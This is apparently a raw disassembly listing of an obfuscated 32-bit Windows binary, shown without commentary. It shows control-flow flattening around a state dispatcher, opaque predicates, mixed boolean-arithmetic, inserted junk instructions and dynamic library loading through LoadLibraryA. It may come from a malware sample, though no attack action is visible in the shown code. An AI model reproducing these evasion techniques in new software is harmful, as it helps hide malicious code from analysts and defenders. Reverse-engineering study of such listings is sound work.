mov ecx, dword [ebp - 0x164]
cmp ecx, eax
mov eax, 0xe8145553
cmovl eax, edx
jmp 0x401540
cmp eax, 0x32b77fd2
je 0x40b789
cmp eax, 0x335096c2
jne 0x401540
mov eax, 0x61abeff7
jmp 0x401540
cmp eax, 0xf37ac275
je 0x40b793
cmp eax, 0xf40f0464
jne 0x401540
cmp byte [ebp - 0x99], 0
mov eax, 0x5c2b6437
mov ecx, 0x19607bcc
cmovne eax, ecx
jmp 0x401540
cmp eax, 0x71510153
je 0x40b8de
cmp eax, 0x7188f04a
jne 0x401540
mov eax, 0xfeffaf02
jmp 0x401540
cmp eax, 0x908972f0
je 0x40b8f7
cmp eax, 0x90dba762
jne 0x401540
mov eax, 0x149de900
jmp 0x401540
cmp eax, 0xb0e26bf
je 0x40b9ef
cmp eax, 0xc80e0cc
jne 0x401540
mov eax, dword [0x4a4b7c]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0xd1d731d5
mov eax, esi
not edx
or eax, 0x2e28ce2a
and ecx, esi
mov esi, eax
and esi, 0xac4c1d08
and edx, 0x519320d5
or edx, esi
mov esi, ecx
not esi
and ecx, 0x53b3e2f7
or eax, esi
and esi, 0xac4c1d08
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa22b3bed
and ecx, 0x5dd4c412
or eax, ecx
mov edx, eax
xor edx, 0x73fc0a38
xor eax, 0x8c03f5c7
mov ecx, eax
mov esi, edx
or ecx, 1
and eax, 0xfffffffe
and esi, 1
and edx, 0x17ba123a
or esi, eax
mov eax, ecx
and eax, 0xe845edc4
or edx, eax
mov eax, esi
not eax
and esi, 0x17ba123b
or ecx, eax
and eax, 0xe845edc4
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xc3912989
mov eax, ecx
xor eax, 0xde8d0a64
and eax, ecx
not ecx
and ecx, 0xde8d0a64
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xac036733
and ecx, 0x53fc98cc
or eax, ecx
mov ecx, eax
xor ecx, 0x72080147
xor eax, 0x88301000
and ecx, 0x774983ef
and eax, 0x88b67c10
or eax, ecx
mov ecx, eax
xor ecx, 0x1098241
xor eax, 0xb66400
and eax, 0x76f665ae
and ecx, 0x89099a51
or ecx, eax
xor ecx, 0x89099a51
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
mov ch, dl
setl al
setge cl
xor ch, al
or al, dl
xor cl, ah
xor al, 1
mov ah, cl
mov dh, cl
or al, ch
xor ah, 1
mov ch, al
mov dl, al
or al, ah
and ah, cl
xor ch, 1
xor ah, 1
and dl, ch
xor dh, ah
or ah, cl
mov cl, ch
xor dl, 1
xor ah, 1
xor cl, dl
or dl, ch
or ah, dh
xor dl, 1
or dl, cl
mov cl, ah
xor cl, 1
and cl, dl
xor dl, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9944d5db
cmovne ecx, esi
test al, al
mov eax, 0x9944d5db
jmp 0x40152e
cmp eax, 0xcaf28418
je 0x40ba08
cmp eax, 0xcb2abf2d
jne 0x401540
mov eax, 0x20122184
jmp 0x401540
cmp eax, 0x49789731
je 0x40ba12
cmp eax, 0x4ab3b418
jne 0x401540
mov eax, 0xaaeaa60f
jmp 0x401540
cmp eax, 0xa72b1778
je 0x40ba25
cmp eax, 0xa93d276f
jne 0x401540
mov eax, 0xec6f573a
jmp 0x401540
cmp eax, 0x2c4fe833
je 0x40ba47
cmp eax, 0x2ca14060
jne 0x401540
mov eax, dword [ebp - 0x17c]
mov edx, eax
mov ecx, eax
xor ecx, 0xb637d044
not edx
mov esi, edx
and ecx, eax
and esi, 0xb637d044
and edx, 0xb1df996c
and eax, 0x4e206693
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x87a5f26f
mov edx, eax
xor edx, 0x4e206693
xor eax, 0xb1df996c
and esi, 0x785a0d90
or ecx, esi
mov esi, ecx
xor esi, 0x31922228
xor ecx, 0xce6dddd7
and edx, ecx
and eax, esi
or eax, edx
not eax
or eax, ecx
mov ecx, 0x6247f700
cmp eax, 0xffffffff
mov eax, 0x76c7d328
cmove eax, ecx
jmp 0x401540
cmp eax, 0xec6f573a
je 0x40bb50
cmp eax, 0xee02dd26
jne 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xe5c72655
and ecx, 0x1a38d9aa
or ecx, edx
mov eax, ecx
xor ecx, 0x2305128
xor eax, 0xe5c72655
mov esi, eax
and ecx, 0xa2f65378
and esi, 0x5d09ac87
and eax, 0xb2d773c2
or esi, ecx
mov ecx, esi
mov edx, esi
xor ecx, 0x5d09ac87
xor edx, 0xefdedf45
xor esi, 0x2360110
and edx, ecx
and esi, 0xf3f0196
or eax, edx
mov edx, eax
not edx
and eax, 0x4d288c3c
and edx, 0xb2d773c3
or eax, edx
mov edx, ecx
and edx, 0xf0c0fe69
and ecx, 1
or edx, esi
mov esi, edx
xor esi, 0xf3f0197
xor edx, 0xf040b268
or ecx, esi
mov esi, eax
not esi
and eax, 0xf567b37e
and edx, 0xf567b37e
mov edi, esi
or esi, ecx
and edi, 0xa984c81
and ecx, 0xa984c81
or eax, edi
or edx, ecx
not esi
mov edi, 0x27a7dba0
xor edx, eax
or esi, edx
mov eax, esi
not eax
and esi, 0x5f0007f6
and eax, 0xa0fff809
or esi, eax
xor esi, 0x5f0007f6
mov esi, 0x9ed5ed03
sete ah
setne ch
cmp dword [0x4a4b78], 0xa
mov al, ah
setl cl
setge dl
xor al, cl
xor ch, dl
or dl, ah
or cl, ah
and al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x9ed5ed03
mov al, ah
xor al, dl
test dl, 1
cmovne ecx, edi
test ah, ah
cmove ecx, esi
test al, 1
cmovne ecx, edi
mov eax, ecx
jmp 0x401540
cmp eax, 0x656b6f7d
je 0x40bc05
cmp eax, 0x6740ce9c
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x3f1545fd
mov eax, ecx
and eax, 0x31401c5
and edx, ecx
not ecx
and ecx, 0x3c014438
or eax, ecx
xor eax, 0x31401c5
or eax, edx
not edx
and edx, 0xc0eaba02
and eax, 0x3f1545fd
or eax, edx
mov ecx, eax
mov edx, eax
not ecx
or edx, 0x55e0f4e2
mov edi, ecx
mov esi, edx
and esi, 0x828c79e0
and edi, 0x2813021d
and ecx, 0xde44e156
or edi, esi
mov esi, eax
xor esi, 0xaa1f0b1d
and esi, eax
and eax, 0x21bb1ea8
mov ebx, esi
not ebx
and esi, 0x7d73861f
or ecx, eax
or edx, ebx
and ebx, 0x828c79e0
xor ecx, 0xde44e156
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x6c78ed8
and esi, 0xf9387127
or edx, esi
mov esi, 0x4dbb97cf
xor edx, 0xacd885c4
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbdba6ecd
and eax, 0x42459132
or eax, ecx
mov ecx, eax
xor ecx, 0x50022
xor eax, 0x9aa26c0
and eax, 0x4beab7d0
and ecx, 0xb415482f
or ecx, eax
xor ecx, 0xb415482f
setne cl
sete dl
cmp dword [0x4a4b78], 0xa
setl al
setge ah
or cl, al
or ah, dl
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor al, dl
or ah, dl
or cl, ch
xor ah, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa0eae6c4
cmovne eax, esi
test dl, dl
mov edx, 0xa0eae6c4
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0x8872534d
je 0x40bdb6
cmp eax, 0x88bd4bf4
jne 0x401540
mov eax, dword [0x4a4b7c]
mov esi, 0x8373c838
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x291d2ecc
mov edx, eax
and eax, 0xd6e2d133
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xd6e2d132
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc432baab
and ecx, 0x3bcd4554
or ecx, edx
xor ecx, 0xc432baab
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x4a4b78], 0xa
mov dh, dl
setge cl
setl ch
mov al, cl
or dh, ch
xor al, dl
xor dh, 1
and dl, ch
and al, ch
or al, dh
mov dh, cl
xor dh, ah
and dh, cl
and cl, ah
or cl, dl
mov dl, al
or cl, dh
xor dl, 1
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbdf14edd
cmovne ecx, esi
test dl, dl
mov edx, 0x8373c838
cmovne edx, ecx
test al, al
jmp 0x405a43
cmp eax, 0x1daac6fa
je 0x40bdd9
cmp eax, 0x1f6ef427
jne 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xf078f3be
and ecx, edx
not edx
and edx, 0xf078f3be
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa130800b
and eax, 0x5ecf7ff4
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x510802b1
xor esi, 0xaeb78c4a
xor ecx, 0x1086234
mov eax, esi
or eax, 1
and esi, 0x2874f104
and edx, 0xd78b0efb
and ecx, 0x253ae276
or edx, esi
mov esi, eax
and esi, 0xdac51d88
or ecx, esi
mov esi, edx
xor esi, 0x50a0272
xor edx, 0x2874f105
or eax, edx
and edx, 0xdac51d88
and esi, 0x253ae277
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x305ede4a
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x105a02c2
and eax, 0xe5a1f81d
and ecx, 0xa040520
or edx, ecx
xor edx, 0x105a02c2
or eax, edx
mov ecx, eax
not ecx
and eax, 0xca1535b2
and ecx, 0x35eaca4d
or eax, ecx
mov ecx, eax
xor ecx, 0x80491210
xor eax, 0x240c2e
and eax, 0x50262c6e
and ecx, 0xafd9d391
or ecx, eax
mov eax, ecx
xor eax, 0x2ec91381
xor ecx, 0x50202408
and ecx, 0xd130e418
and eax, 0x2ecf1be7
or eax, ecx
xor eax, 0x2ecf1be7
sete dl
setne ch
cmp dword [0x4a4b78], 0xa
setge ah
setl cl
mov al, ah
xor cl, dl
xor al, ch
and ch, al
and al, ah
mov dh, ch
xor ch, al
xor al, 1
xor dh, 1
or al, dh
xor al, 1
or al, ch
mov ch, ah
xor ch, dl
and ch, ah
or cl, ch
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x29db0cfd
cmovne ecx, esi
test dl, 1
mov esi, 0x29db0cfd
mov edx, ecx
cmovne edx, esi
test al, 1
cmovne edx, ecx
mov eax, edx
jmp 0x401540
cmp eax, 0xd97bf318
je 0x40bdee
cmp eax, 0xd985c856
jne 0x401540
mov eax, dword [ebp - 0x4c]
mov eax, 0x86223549
jmp 0x401540
cmp eax, 0x594e4bbc
je 0x40bdf8
cmp eax, 0x5ac300c6
jne 0x401540
cmp dword [ebp - 0x1d0], 0
mov eax, 0xd91d2e24
mov ecx, 0x46ebe61e
cmove eax, ecx
jmp 0x401540
cmp eax, 0xb54a06a0
je 0x40be25
cmp eax, 0xb59a7d1a
jne 0x401540
mov eax, dword [ebp - 0x184]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, 0x6247f700
jmp 0x401540
cmp eax, 0x3a25fb3c
je 0x40be38
cmp eax, 0x3a586c6e
jne 0x401540
mov eax, 0xeef1b00
jmp 0x401540
cmp eax, 0xfcfcbaa2
je 0x40bfbf
cmp eax, 0xfe7ae661
jne 0x401540
mov eax, 0xc3353816
jmp 0x401540
cmp eax, 0x78c9f483
je 0x40bfc9
cmp eax, 0x79d2a07b
jne 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, 0x9c5b49f4
jmp 0x401540
cmp eax, 0x97f06c5e
je 0x40c0b5
cmp eax, 0x9944d5db
jne 0x401540
mov eax, 0x62a7e839
jmp 0x401540
cmp eax, 0x8de55e8
je 0x40c280
cmp eax, 0x9447281
jne 0x401540
mov eax, dword [ebp - 0x58]
mov eax, 0x2ab9eb6b
jmp 0x401540
cmp eax, 0xc3353816
je 0x40c3e9
cmp eax, 0xc3912989
jne 0x401540
mov eax, 0xc80e0cc
jmp 0x401540
cmp eax, 0x450183eb
je 0x40c3f3
cmp eax, 0x466b7108
jne 0x401540
mov eax, 0xdcf1d19d
jmp 0x401540
cmp eax, 0xa432e5c5
je 0x40c409
cmp eax, 0xa4b9d16b
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x2000300c
not edx
mov esi, edx
or esi, 0x8a65c112
and ecx, 0xaa65f11e
and edx, 0x51820c80
or edx, ecx
mov ecx, eax
and esi, 0xaa65f11e
and ecx, 0x4180261
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xc941167c
and edx, 0x36bee983
or ecx, edx
mov edx, ecx
xor edx, 0x12a6dbef
xor ecx, 0xed592410
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne al
cmp dword [0x4a4b78], 0xa
setl cl
mov ah, cl
xor al, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and cl, dl
xor ah, 1
and al, ah
or cl, al
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov eax, 0x149de900
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x90dba762
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, 1
mov edx, 0x149de900
cmove eax, edx
jmp 0x401540
cmp eax, 0x28db2175
je 0x40c413
cmp eax, 0x29e906f4
jne 0x401540
cmp byte [ebp - 0xa0], 0
mov eax, 0x7a8b1648
mov ecx, 0xa957fb7a
cmovne eax, ecx
jmp 0x401540
cmp eax, 0xe7635644
je 0x40c430
cmp eax, 0xe8145553
jne 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 2
mov eax, 0x9c9f093a
jmp 0x401540
cmp eax, 0x62d38f0f
je 0x40c7a8
cmp eax, 0x63b56a6c
jne 0x401540
cmp dword [ebp - 0xec], 0
mov eax, 0x92d39bbc
mov ecx, 0x335096c2
cmove eax, ecx
jmp 0x401540
cmp eax, 0x84fe14e3
je 0x40c8a6
cmp eax, 0x85799ddd
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x12c081
mov edx, eax
and edx, 0x841816
and eax, 0x12f4f55c
or esi, edx
mov edx, ecx
xor edx, 0x96d897
xor esi, 0x12c081
and edx, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x96d896
and esi, 0xff692769
or edx, esi
mov esi, edx
not esi
and edx, 0x33543cb3
and esi, 0xccabc34c
or edx, esi
mov esi, edx
xor esi, 0x12543410
xor edx, 0xccabc34c
mov edi, edx
or edx, ecx
and ecx, 0xed0b0aa3
and edi, 0xed0b0aa3
and esi, 0x12f4f55c
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x5c5ffaad
or edx, eax
xor edx, 0xffffffff
sete ah
setne ch
cmp dword [0x4a4b78], 0xa
setge al
setl dl
mov cl, al
mov dh, al
or al, ch
xor dh, ch
xor al, 1
and ch, dl
and cl, ah
xor dl, ah
or cl, ch
or al, dh
xor al, 1
xor cl, 1
or al, dl
mov edx, ecx
or dl, al
xor cl, al
mov eax, 0xcb715d52
mov ch, dl
xor ch, cl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0xcb715d52
jmp 0x409b93
cmp eax, 0x1a5756af
je 0x40c9d8
cmp eax, 0x1aea8fdb
jne 0x401540
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, 0x1a2bf44a
jmp 0x401540
cmp eax, 0xd5e8fbb6
je 0x40c9e2
cmp eax, 0xd67ac54a
jne 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x78]
mov ecx, dword [0x4a4b7c]
mov dword [ebp - 0x18c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xa1eb10ac
and edi, 0x5e14ef52
and edx, 0x6bbdff1b
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x944200e4
mov ebx, esi
not ebx
and esi, 0x5e14ef53
or eax, edx
or ecx, ebx
and ebx, 0xa1eb10ac
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x32051f29
mov esi, edx
and esi, 0xcdfae0d6
or ecx, esi
mov esi, eax
xor esi, 0x10000020
xor eax, 0x49b8e012
and eax, 0xcdfae0d6
and esi, 0x32051f29
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xa72b1778
setne ah
sete dl
cmp dword [0x4a4b78], 0xa
mov dh, ah
mov cl, ah
setge ch
setl al
inc dh
and cl, dh
or dl, al
xor cl, 1
or cl, dh
xor cl, 1
or cl, ah
mov dh, cl
xor cl, 1
and dh, al
xor al, ah
mov ah, dl
and cl, ch
xor ah, al
or al, dl
or cl, dh
xor al, 1
or al, ah
mov ah, cl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x410df74e
cmovne ecx, esi
test al, 1
mov eax, 0x410df74e
jmp 0x40152e
cmp eax, 0x53b0ccf0
je 0x40cae0
cmp eax, 0x5447351e
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x7b3ccb02
mov edx, eax
and edx, 0x84c334fc
and eax, 0x5c98c893
or esi, edx
mov edx, ecx
or edx, 0xb78d6de0
and ecx, 0xa367376c
mov edi, esi
xor edi, 0x48308202
xor esi, 0x848124e0
and edx, 0xb78d6de1
or eax, ecx
and esi, 0xb78d6de0
and edi, 0x4872921e
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x5c98c893
mov edi, esi
and edi, 0xa367376c
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x939d3f03
sete al
setne ah
cmp dword [0x4a4b78], 0xa
setge dl
setl ch
mov cl, dl
xor al, dl
xor cl, ah
or ah, ch
and dl, al
xor al, 1
and cl, ch
mov ch, ah
or al, dl
xor cl, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, al
xor al, 1
mov ah, al
or al, cl
xor dl, 1
xor al, 1
xor ah, cl
or al, dl
mov edx, 0x62d38f0f
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x62d38f0f
cmove edx, esi
test cl, 1
cmove edx, eax
mov eax, edx
jmp 0x401540
cmp eax, 0xb0b1d2a9
je 0x40cc0b
cmp eax, 0xb280199f
jne 0x401540
mov eax, dword [ebp - 0x34]
cmp dword [eax], 0
mov eax, 0xee02dd26
sets byte [ebp - 0xa0]
jmp 0x401540
cmp eax, 0x3643973b
je 0x40cc24
cmp eax, 0x3681c34f
jne 0x401540
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov ecx, dword [0x4a4b7c]
mov eax, esp
mov dword [ebp - 0xd4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xae129e82
and edi, 0x51ed617c
and edx, 0x473b43c0
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xb8c4bc3f
mov ebx, esi
not ebx
and esi, 0x51ed617d
or eax, edx
or ecx, ebx
and ebx, 0xae129e82
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x7becb24f
mov esi, edx
and esi, 0x84134db0
or ecx, esi
mov esi, eax
xor esi, 0x38c4b00f
xor eax, 0x4134180
and eax, 0x84134db0
and esi, 0x7becb24f
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xf047ab92
setne cl
sete ah
cmp dword [0x4a4b78], 0xa
setge dl
setl ch
xor dl, cl
mov al, ch
or ch, ah
xor dl, 1
xor al, ah
mov cl, dl
or dl, ch
and al, ch
xor cl, ch
xor dl, 1
mov ch, al
or dl, cl
mov cl, dl
mov ah, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
not dl
xor cl, 1
and dl, al
or cl, ah
xor dl, 1
mov ah, cl
xor ch, dl
or dl, al
xor ah, 1
xor dl, 1
or dl, ch
mov ch, dl
and dl, cl
xor ch, 1
and ch, ah
mov ah, al
xor ah, cl
or cl, al
or dl, ch
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xd2610994
cmovne esi, eax
test cl, 1
mov eax, 0xf047ab92
jmp 0x40928c
cmp eax, 0xf7565360
je 0x40cc7f
cmp eax, 0xf8334fe4
jne 0x401540
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xa8]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00446440
add esp, 0xc
mov eax, 0xb8
mov eax, 0x3b
rol edx, 0xed
bswap esi
sub eax, 0xef
imul eax
inc edx
sbb esi, 0x89
dec edi
bswap esi
mov edi, 0xd4
or edi, 0xa3
not esi
sbb edx, 0x49
bswap esi
rol eax, 0xf2
rcr eax, 0x67
bswap ebx
imul esi
bswap esi
inc eax
imul eax
not ebx
ror edx, 0x4a
bswap esi
add edx, 0x1b
neg eax
inc eax
and edx, 0xf1
neg esi
imul eax
not eax
mov ebx, 0x97
not ebx
imul edi
not edi
inc edx
imul eax
bswap eax
neg eax
rcl ebx, 0x4b
inc ebx
dec esi
dec esi
add ebx, 0x53
rcl esi, 0x5f
ror eax, 0x56
rcr ebx, 0x76
neg eax
or edx, 0x89
or esi, 0x32
sub esi, 0x3d
dec ebx
ror edi, 0x57
rol edi, 0x7d
rcl esi, 0x5f
rcl ebx, 0x4a
not esi
not ebx
sbb ebx, 0x16
neg edi
sbb edi, 0x25
inc edi
neg eax
neg ebx
add eax, 0x2c
sbb edi, 0x4a
and edx, 0xd2
imul edx
bswap edi
ror edi, 0x2c
rcr edx, 4
imul edx
rcl edx, 0xb6
dec edx
sub edi, 0xfc
imul eax
rol esi, 0x3a
and eax, 0x91
inc esi
sbb esi, 0xce
imul edx
imul ebx
not esi
ror esi, 7
sbb ebx, 0x82
not eax
mov edx, 0xb
inc esi
neg edi
bswap eax
dec edx
dec ebx
rcl eax, 0x11
neg edi
dec edi
mov edx, 0x1a
mov ebx, 0xd6
mov ebx, 0x99
not ebx
inc edx
sbb edi, 0x4d
not ebx
rcl edi, 0x84
and eax, 0x3c
neg esi
inc edi
not edi
neg ebx
and eax, 0x37
inc ebx
ror eax, 0xf4
or edi, 0x83
rcr esi, 0xdc
dec edi
ror edx, 0x42
rol edi, 0x80
not eax
inc ebx
neg edx
dec eax
add eax, 0xab
sub eax, 0x36
dec esi
rcl eax, 0xfa
add ebx, 0xbf
rcl ebx, 0x6e
not eax
inc edx
or edx, 0xf6
add esi, 8
and esi, 0xad
and esi, 0x25
imul ebx
rcr edi, 0xc6
rol edi, 0x6d
imul edi
dec edx
rcl edx, 0x70
neg ebx
neg eax
and eax, 0x8c
not ebx
not eax
imul esi
inc edi
rcl edx, 0xc5
ror edx, 0x46
bswap ebx
rol esi, 0x9b
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, 0x97d06976
jmp 0x401540
cmp eax, 0x7447a3fb
je 0x40cd8c
cmp eax, 0x75c8515c
jne 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xd7d75de7
and eax, 0x2828a218
or edx, eax
mov eax, edx
xor eax, 0xd7d75de7
xor edx, 0x2828a218
mov ecx, edx
mov esi, eax
and ecx, 0x99c038a6
and esi, 0x663fc759
or edx, 0x84323900
and eax, 0x40c1806c
or esi, ecx
and edx, 0x8e323901
mov ecx, esi
xor esi, 0x99c038a6
xor ecx, 0x663fc759
or eax, edx
mov edi, esi
or edi, 0xa000001
mov ebx, ecx
and ebx, 0x310c4692
and esi, 0x7aa39273
and edi, 0x8e323901
or ebx, edi
mov edi, 0x4031f7e6
xor eax, ebx
mov edx, eax
not edx
and eax, 0xb53e7f93
and edx, 0x4ac1806c
or eax, edx
mov edx, ecx
and edx, 0x855c6d8c
and ecx, 1
or edx, esi
xor edx, 0x7aa39272
or ecx, edx
mov edx, eax
not edx
and eax, 0xff9bbe13
mov esi, edx
and esi, 0x6441ec
or edx, ecx
or eax, esi
mov esi, ecx
not esi
and ecx, 0x6441ec
not edx
and esi, 0xff9bbe13
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0xbc25b8cd
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xfea963f5
and eax, 0x1569c0a
or eax, ecx
xor eax, 0xfea963f5
xor edx, eax
test edx, eax
sete al
setne dl
cmp dword [0x4a4b78], 0xa
setge ch
setl cl
or ch, dl
xor cl, al
mov eax, 0x4031f7e6
xor ch, 1
xor cl, ch
mov edx, ecx
cmovne eax, esi
not dl
test dl, ch
cmove eax, edi
cmovne eax, esi
test cl, cl
mov ecx, dword [ebp - 0x48]
cmovne eax, esi
jmp 0x401540
cmp eax, 0x93c9d631
je 0x40ceeb
cmp eax, 0x9513ca15
jne 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 7
mov eax, 0x15896c2d
jmp 0x401540
cmp eax, 0x149de900
je 0x40cef5
cmp eax, 0x15812072
jne 0x401540
mov eax, dword [ebp - 0xc8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov ecx, dword [0x4a4b7c]
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x9d]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x89b34ac8
mov ecx, edx
and ecx, 0x12441016
mov edi, edx
or edi, 0x3f60a54
and edx, 0xe34a90a2
or esi, ecx
and edi, 0x47f68f54
mov ecx, esi
xor ecx, 0x88014088
xor esi, 0x46448514
and esi, 0x47f68f54
and ecx, 0x9801508a
or ecx, esi
mov esi, eax
and esi, 0x20082021
and eax, 0x1cb56f5d
or esi, edi
or eax, edx
xor esi, ecx
mov ecx, esi
not ecx
and esi, 0x4f3df621
and ecx, 0xb0c209de
or esi, ecx
mov ecx, esi
xor ecx, 0xc40a8cec
xor esi, 0x251100
and esi, 0x10e53112
and ecx, 0xef1aceed
or ecx, esi
mov esi, ecx
xor esi, 0x1024660
xor ecx, 0x10e53112
mov edx, ecx
and edx, 0xee5c898d
and esi, 0x11a37672
or esi, edx
mov edx, eax
xor edx, 0x10a16650
xor eax, 0xe34a90a2
or ecx, eax
and eax, 0xee5c898d
and edx, 0x11a37672
or edx, eax
not ecx
xor edx, esi
mov esi, 0x516b5a86
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xcee4349e
and eax, 0x311bcb61
or ecx, eax
xor ecx, 0xcee4349e
sete cl
setne dl
cmp dword [0x4a4b78], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x6f3bb68d
cmovne eax, esi
test cl, cl
mov ecx, 0x6f3bb68d
jmp 0x40c899
cmp eax, 0xcf336a3c
je 0x40d074
cmp eax, 0xcffb667f
jne 0x401540
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
mov eax, 0x7447a3fb
jmp 0x401540
cmp eax, 0x4ca792cd
je 0x40d0a6
cmp eax, 0x4ca95a80
jne 0x401540
mov eax, dword [ebp - 0x50]
mov dword [eax], 4
mov eax, 0x7188f04a
jmp 0x401540
cmp eax, 0xaaeaa60f
je 0x40d0ca
cmp eax, 0xab8d45ca
jne 0x401540
mov eax, 0x24d96214
jmp 0x401540
cmp eax, 0x2fd9b639
je 0x40d1a0
cmp eax, 0x305ede4a
jne 0x401540
mov eax, 0x1f6ef427
jmp 0x401540
cmp eax, 0xefef8f29
je 0x40d1e5
cmp eax, 0xf047ab92
jne 0x401540
mov eax, 0xa4b9d16b
jmp 0x401540
